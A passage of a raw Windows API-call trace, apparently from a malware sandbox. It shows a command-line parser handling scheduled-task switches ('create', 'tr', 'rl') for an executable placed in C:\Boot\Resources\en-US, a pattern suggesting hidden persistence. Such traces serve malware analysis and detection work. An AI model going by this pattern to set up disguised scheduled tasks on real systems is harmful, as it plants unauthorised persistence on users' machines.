(lpString="|rp|") returned 4 [0131.494] lstrlenW (lpString="|tr|") returned 4 [0131.494] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0131.494] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.494] lstrlenW (lpString="sc") returned 2 [0131.494] lstrlenW (lpString="sc") returned 2 [0131.494] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.494] lstrlenW (lpString="tr") returned 2 [0131.494] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.495] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|sc|") returned 4 [0131.495] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|tr|") returned 4 [0131.495] lstrlenW (lpString="|sc|") returned 4 [0131.495] lstrlenW (lpString="|tr|") returned 4 [0131.495] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0131.495] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.495] lstrlenW (lpString="mo") returned 2 [0131.495] lstrlenW (lpString="mo") returned 2 [0131.495] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.495] lstrlenW (lpString="tr") returned 2 [0131.495] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.495] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|mo|") returned 4 [0131.495] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|tr|") returned 4 [0131.495] lstrlenW (lpString="|mo|") returned 4 [0131.495] lstrlenW (lpString="|tr|") returned 4 [0131.495] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0131.495] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.495] lstrlenW (lpString="d") returned 1 [0131.495] lstrlenW (lpString="d") returned 1 [0131.495] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.495] lstrlenW (lpString="tr") returned 2 [0131.495] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.495] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|d|") returned 3 [0131.495] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|tr|") returned 4 [0131.495] lstrlenW (lpString="|d|") returned 3 [0131.495] lstrlenW (lpString="|tr|") returned 4 [0131.495] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.495] lstrlenW (lpString="m") returned 1 [0131.495] lstrlenW (lpString="m") returned 1 [0131.495] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.495] lstrlenW (lpString="tr") returned 2 [0131.496] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.496] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|m|") returned 3 [0131.496] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|tr|") returned 4 [0131.496] lstrlenW (lpString="|m|") returned 3 [0131.496] lstrlenW (lpString="|tr|") returned 4 [0131.496] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.496] lstrlenW (lpString="i") returned 1 [0131.496] lstrlenW (lpString="i") returned 1 [0131.496] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.496] lstrlenW (lpString="tr") returned 2 [0131.496] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.496] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|i|") returned 3 [0131.496] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|tr|") returned 4 [0131.496] lstrlenW (lpString="|i|") returned 3 [0131.496] lstrlenW (lpString="|tr|") returned 4 [0131.496] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.496] lstrlenW (lpString="tn") returned 2 [0131.496] lstrlenW (lpString="tn") returned 2 [0131.496] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.496] lstrlenW (lpString="tr") returned 2 [0131.496] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.496] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|tn|") returned 4 [0131.496] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|tr|") returned 4 [0131.496] lstrlenW (lpString="|tn|") returned 4 [0131.496] lstrlenW (lpString="|tr|") returned 4 [0131.496] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0131.496] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.496] lstrlenW (lpString="tr") returned 2 [0131.496] lstrlenW (lpString="tr") returned 2 [0131.496] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.497] lstrlenW (lpString="tr") returned 2 [0131.497] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.497] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|tr|") returned 4 [0131.497] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|tr|") returned 4 [0131.497] lstrlenW (lpString="|tr|") returned 4 [0131.497] lstrlenW (lpString="|tr|") returned 4 [0131.497] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0131.497] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.497] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.497] lstrlenW (lpString="'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'") returned 44 [0131.497] lstrlenW (lpString="-/") returned 2 [0131.497] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0131.497] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.497] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.497] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.497] lstrlenW (lpString="'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'") returned 44 [0131.497] StrChrIW (lpStart="'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'", wMatch=0x3a) returned=":\\Boot\\Resources\\en-US\\absolutetelnet.exe'" [0131.497] lstrlenW (lpString="'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'") returned 44 [0131.497] _memicmp (_Buf1=0x1ae8331ab70, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.497] _memicmp (_Buf1=0x1ae8331a9d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.497] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.497] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.497] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.497] lstrlenW (lpString="'C") returned 2 [0131.497] lstrlenW (lpString="-/") returned 2 [0131.497] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0131.497] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.497] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.497] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.497] _memicmp (_Buf1=0x1ae8331a890, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.497] lstrlenW (lpString="'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'") returned 44 [0131.497] GetProcessHeap () returned 0x1ae83310000 [0131.498] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331aa90) returned 1 [0131.498] GetProcessHeap () returned 0x1ae83310000 [0131.498] RtlReAllocateHeap (Heap=0x1ae83310000, Flags=0xc, Ptr=0x1ae8331aa90, Size=0x5a) returned 0x1ae83313b70 [0131.498] lstrlenW (lpString="'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'") returned 44 [0131.498] lstrlenW (lpString=" \x09") returned 2 [0131.498] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0131.498] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0131.498] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0131.498] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0131.498] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0131.498] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0131.498] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0131.498] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0131.498] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0131.498] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0131.498] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0131.498] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0131.498] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0131.498] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0131.498] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0131.498] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0131.498] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0131.498] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0131.498] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0131.498] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0131.498] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0131.498] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0131.498] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0131.498] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0131.498] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0131.498] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0131.498] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0131.498] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0131.499] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0131.499] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0131.499] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0131.499] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0131.499] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0131.499] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0131.499] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0131.499] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0131.499] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0131.499] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0131.499] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0131.499] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0131.499] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0131.499] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0131.499] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0131.499] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0131.499] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0131.499] GetLastError () returned 0x0 [0131.499] lstrlenW (lpString="'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'") returned 44 [0131.499] lstrlenW (lpString="'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'") returned 44 [0131.499] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.499] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.499] lstrlenW (lpString="/rl") returned 3 [0131.499] lstrlenW (lpString="-/") returned 2 [0131.499] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0131.499] lstrlenW (lpString="create") returned 6 [0131.499] lstrlenW (lpString="create") returned 6 [0131.499] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.499] lstrlenW (lpString="rl") returned 2 [0131.499] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.499] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|create|") returned 8 [0131.499] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|rl|") returned 4 [0131.500] lstrlenW (lpString="|create|") returned 8 [0131.500] lstrlenW (lpString="|rl|") returned 4 [0131.500] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0131.500] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.500] lstrlenW (lpString="?") returned 1 [0131.500] lstrlenW (lpString="?") returned 1 [0131.500] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.500] lstrlenW (lpString="rl") returned 2 [0131.500] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.500] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|?|") returned 3 [0131.500] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|rl|") returned 4 [0131.500] lstrlenW (lpString="|?|") returned 3 [0131.500] lstrlenW (lpString="|rl|") returned 4 [0131.500] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.500] lstrlenW (lpString="s") returned 1 [0131.500] lstrlenW (lpString="s") returned 1 [0131.500] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.500] lstrlenW (lpString="rl") returned 2 [0131.500] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.500] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|s|") returned 3 [0131.500] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|rl|") returned 4 [0131.500] lstrlenW (lpString="|s|") returned 3 [0131.500] lstrlenW (lpString="|rl|") returned 4 [0131.500] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.500] lstrlenW (lpString="u") returned 1 [0131.500] lstrlenW (lpString="u") returned 1 [0131.500] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.500] lstrlenW (lpString="rl") returned 2 [0131.500] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.500] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|u|") returned 3 [0131.501] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|rl|") returned 4 [0131.501] lstrlenW (lpString="|u|") returned 3 [0131.501] lstrlenW (lpString="|rl|") returned 4 [0131.501] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.501] lstrlenW (lpString="p") returned 1 [0131.501] lstrlenW (lpString="p") returned 1 [0131.501] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.501] lstrlenW (lpString="rl") returned 2 [0131.501] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.501] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|p|") returned 3 [0131.501] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|rl|") returned 4 [0131.501] lstrlenW (lpString="|p|") returned 3 [0131.501] lstrlenW (lpString="|rl|") returned 4 [0131.501] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.501] lstrlenW (lpString="ru") returned 2 [0131.501] lstrlenW (lpString="ru") returned 2 [0131.501] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.501] lstrlenW (lpString="rl") returned 2 [0131.501] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.501] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|ru|") returned 4 [0131.501] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|rl|") returned 4 [0131.501] lstrlenW (lpString="|ru|") returned 4 [0131.501] lstrlenW (lpString="|rl|") returned 4 [0131.501] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0131.501] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.501] lstrlenW (lpString="rp") returned 2 [0131.501] lstrlenW (lpString="rp") returned 2 [0131.501] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.501] lstrlenW (lpString="rl") returned 2 [0131.501] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.502] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|rp|") returned 4 [0131.502] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|rl|") returned 4 [0131.502] lstrlenW (lpString="|rp|") returned 4 [0131.502] lstrlenW (lpString="|rl|") returned 4 [0131.502] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0131.502] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.502] lstrlenW (lpString="sc") returned 2 [0131.502] lstrlenW (lpString="sc") returned 2 [0131.502] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.502] lstrlenW (lpString="rl") returned 2 [0131.502] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.502] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|sc|") returned 4 [0131.502] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|rl|") returned 4 [0131.502] lstrlenW (lpString="|sc|") returned 4 [0131.502] lstrlenW (lpString="|rl|") returned 4 [0131.502] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0131.502] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.502] lstrlenW (lpString="mo") returned 2 [0131.502] lstrlenW (lpString="mo") returned 2 [0131.502] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.502] lstrlenW (lpString="rl") returned 2 [0131.502] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.502] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|mo|") returned 4 [0131.502] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|rl|") returned 4 [0131.502] lstrlenW (lpString="|mo|") returned 4 [0131.502] lstrlenW (lpString="|rl|") returned 4 [0131.502] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0131.502] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.502] lstrlenW (lpString="d") returned 1 [0131.503] lstrlenW (lpString="d") returned 1 [0131.503] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.503] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.503] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|d|") returned 3 [0131.503] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|rl|") returned 4 [0131.503] lstrlenW (lpString="|d|") returned 3 [0131.503] lstrlenW (lpString="|rl|") returned 4 [0131.503] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.503] lstrlenW (lpString="m") returned 1 [0131.503] lstrlenW (lpString="m") returned 1 [0131.503] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.503] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.503] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|m|") returned 3 [0131.503] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|rl|") returned 4 [0131.503] lstrlenW (lpString="|m|") returned 3 [0131.503] lstrlenW (lpString="|rl|") returned 4 [0131.503] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.503] lstrlenW (lpString="i") returned 1 [0131.503] lstrlenW (lpString="i") returned 1 [0131.503] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.503] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.503] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|i|") returned 3 [0131.503] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|rl|") returned 4 [0131.503] lstrlenW (lpString="|i|") returned 3 [0131.503] lstrlenW (lpString="|rl|") returned 4 [0131.503] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.504] lstrlenW (lpString="tn") returned 2 [0131.504] lstrlenW (lpString="tn") returned 2 [0131.504] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.504] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.504] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|tn|") returned 4 [0131.504] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|rl|") returned 4 [0131.504] lstrlenW (lpString="|tn|") returned 4 [0131.504] lstrlenW (lpString="|rl|") returned 4 [0131.504] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0131.504] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.504] lstrlenW (lpString="tr") returned 2 [0131.504] lstrlenW (lpString="tr") returned 2 [0131.504] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.504] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.504] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|tr|") returned 4 [0131.504] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|rl|") returned 4 [0131.504] lstrlenW (lpString="|tr|") returned 4 [0131.504] lstrlenW (lpString="|rl|") returned 4 [0131.504] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0131.504] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.504] lstrlenW (lpString="st") returned 2 [0131.504] lstrlenW (lpString="st") returned 2 [0131.504] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.504] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.504] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|st|") returned 4 [0131.504] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|rl|") returned 4 [0131.504] lstrlenW (lpString="|st|") returned 4 [0131.504] lstrlenW (lpString="|rl|") returned 4 [0131.504] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0131.505] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.505] lstrlenW (lpString="sd") returned 2 [0131.505] lstrlenW (lpString="sd") returned 2 [0131.505] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.505] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.505] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|sd|") returned 4 [0131.505] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|rl|") returned 4 [0131.505] lstrlenW (lpString="|sd|") returned 4 [0131.505] lstrlenW (lpString="|rl|") returned 4 [0131.505] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0131.505] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.505] lstrlenW (lpString="ed") returned 2 [0131.505] lstrlenW (lpString="ed") returned 2 [0131.505] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.505] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.505] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|ed|") returned 4 [0131.505] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|rl|") returned 4 [0131.505] lstrlenW (lpString="|ed|") returned 4 [0131.505] lstrlenW (lpString="|rl|") returned 4 [0131.505] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0131.505] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.505] lstrlenW (lpString="it") returned 2 [0131.505] lstrlenW (lpString="it") returned 2 [0131.505] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.505] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.505] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|it|") returned 4 [0131.505] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|rl|") returned 4 [0131.505] lstrlenW (lpString="|it|") 